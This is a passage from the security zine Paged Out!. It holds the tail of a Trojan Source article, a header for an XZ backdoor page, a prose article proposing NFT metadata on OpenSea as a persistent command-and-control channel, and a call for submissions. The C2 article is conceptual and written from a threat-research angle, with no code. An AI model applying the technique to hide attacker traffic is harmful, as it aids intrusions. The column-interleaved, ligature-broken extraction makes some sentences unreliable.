the compiler or interpreter actually executes. Such
discrepancies can lead to security issues that
cannot be perceived directly by code reviewers.

References:
1. Boucher et al. Trojan Source: Invisible Vulnerabilities. https://www.usenix.org/conference/usenixsecurity23/presentation/boucher
2. Unicode Technical Report #36, https://www.unicode.org/reports/tr36/tr36-2.html#visual_spoofing
3. SecDim. PayPal Homograph. https://learn.secdim.com/course/paypal-homograph

pi3ch
https://twitter.com/pi3ch
SAA-ALL 0.0.7 63
Security/Hacking XZ Outbreak (CVE-2024-3094)

Twitter: https://twitter.com/fr0gger_ Thomas Roccia


Linkedin: https://www.linkedin.com/in/thomas-roccia/
64 Website: https://www.securitybreak.io CC BY-SA 4.0
mFT: Malicious Fungible Tokens Security/Hacking

seem tempDng, but it's worth noDng that OpenSea does


Malicious Fungible Tokens: not store images on the blockchain but rather links them
as NFT metadata, which could be deleted or modified as
using NFTs as “immortal” has already occurred in 2021 (hUps://bca.ltd/pagedout-3).
Other opDons include abusing the token traits (like
C2 servers properDes) or common fields like Dtle or descripDon—all
of which are sDll part of the token’s metadata stored off-
Mauro Eldritch (@mauroeldritch) chain. Fortunately, OpenSea implements different
decentralizaDon methods that make their NFTs more
A malicious shower thought resilient to changes, like IPFS and FileCoin (hUps://bca.ltd/
pagedout-4). While this provides resilience rather than the
I'm not a fan of NFTs in general, but one day, a shower immunity a full on-chain NFT would offer (hUps://bca.ltd/
thought took me by surprise: What if someone stored pagedout-5), it may just be enough for this research. Now,
malicious instrucDons in a blockchain-backed asset? Due this is a double-sided blade, as forensic invesDgators will
to the nature of the blockchain (where, in theory, every definitely appreciate immortal (or beUer said persistent)
transacDon is final), that asset would remain there forever. C2 commands lying around waiDng to be studied.
No one could dispute it, and at most, the only possible Whether an aUacker decides to subtly embed instrucDons
acDon would be to "flag" the content as malicious on into an image or encode them in one of the publicly visible
some explorers and markets (h'ps://bca.ltd/pagedout-1), fields, the next step is the interpretaDon and execuDon of
but it wouldn't prevent access to the asset itself. So, what those commands. On-chain assets can be queried easily
would happen if someone created an NFT with malicious using any blockchain explorer and their APIs. Off-chain
commands in it? That could potenDally build an immortal assets, like the ones in this research, are simply accessed
C2 server for just a couple of dollars… via OpenSea’s API. While all traffic will impact legiDmate
In my Web3 Threat Research work, I see funny and sites, it’s the content of that communicaDon we should
creaDve tricks from threat actors every day. With the rise exercise cauDon about. A\er all, on the internet, nobody
of malicious smart contracts (drainers, see hUps://bca.ltd/ knows you're a dog… with malicious intenDons.
pagedout-6) and etherhiding (malicious code hidden in
BNB Smart Chain transacDons, see hUps://bca.ltd/
pagedout-2), I realized there’s sDll room for shenanigans in
the ecosystem. A\er all, blue teamers will definitely raise
their eyebrows on connecDons to “.club” domains, but
what happens when your C2 channel is OpenSea itself?

NFTs, C2 servers & golden retrievers

For this experiment, I’ve chosen OpenSea as the host for


my “Malicious Fungible Tokens” for two reasons: it is the
most popular NFT market and likely whitelisted by most
Web3 companies. But, it is dangerous to go out alone, so
who beUer to join the operaDon than a fat, fluffy golden
retriever who loves stealing both socks and hearts? I
picked up some photos of my Leopoldo (AKA “Golden
Treat Actor & Golden Locker
Locker” or “Treat Actor”) to play around and understand
how images are treated when converted to NFTs.
This shower thought turned experiment brought
Malicious Fungible Tokens interesDng results, as we are accustomed to whitelisDng
enDre domains that may have more significance than
The iniDal challenge for a threat actor is deciding where to iniDally apparent (Who would block traffic to an NFT
store a malicious payload. Steganography (concealing it market from a Web3 company?). And I'm certain that the
within the image) might be the first consideraDon for world definitely doesn't need:
many. However, most plaeorms process uploaded images
in a manner that could alter or strip a hidden payload. This 1. More Web3 shenanigans
does not seem to be the case for OpenSea, where not only 2. Another aUack vector / C2 channel
does a hidden message survive, but so do some image
metadata fields like ProfileCopyright. This approach may Thanks for reading!

Mauro Eldritch
https://github.com/MauroEldritch
CC BY 4.0 https://twitter.com/MauroEldritch 65
Art Warmth
Killer Rabbit
https://www.instagram.com/killerrabbitmedia/
66 SAA-TIP 0.0.7
WE WANT YOUR ARTICLE!

Would you like to see your article published in the next issue of Paged
Out!?
Here’s how to make that happen:

First, you need an idea that will fit on one page.


That is one of our key requirements, if not the most important. Every article can only occupy one
page. To be more precise, it needs to occupy the space of 515 x 717 pts.

We have a nifty tool that you can use to check if your page size is ok - https://review-
tools.pagedout.institute/

The article has to be on a topic that is fit for Paged Out! Not sure if your topic is?

You can always ask us before you commit to writing. Or you can consult the list here: https://
pagedout.institute/?page=writing.php#article-topics

Once the topic is locked down, then comes the writing, and it has to be done by you. Remember,
you can write about AI but don’t rely on it to do the writing for you ;) Besides, you will do a better
job than it can!

Next, submit the article to us, preferably as a PDF file (you can also use PNGs for art), at
[email protected].

Here is what happens next:

First, you will receive a link to a form from us. The form asks some really important questions,
including which license you would prefer for your submission, details about the title and the name
under which the article should be published, which fonts you have used and the source of images
that are in it.

Remember that both the fonts and the images need to have licenses that allow them to be used
in commercial projects and to be embedded in a PDF.

Once the replies are received, we will work with you on polishing the article. The stages include a
technical review and a language review.
If there are images in your article, we will ask you for an alt text for them.

After the stages are completed, your article will be ready for publishing!

Not all articles have to be written. If you want to draw a cheatsheet, a diagram, or an image,
please do so, we accept such submissions as well.

This is a shorter and more concise version of the content that can be found here:
https://pagedout.institute/?page=writing.php and here:
https://pagedout.institute/?page=cfp.php

The most important thing though is that you enjoy the process of writing and then of getting your
article ready for publication in cooperation with our great team.

Happy writing!

You might also like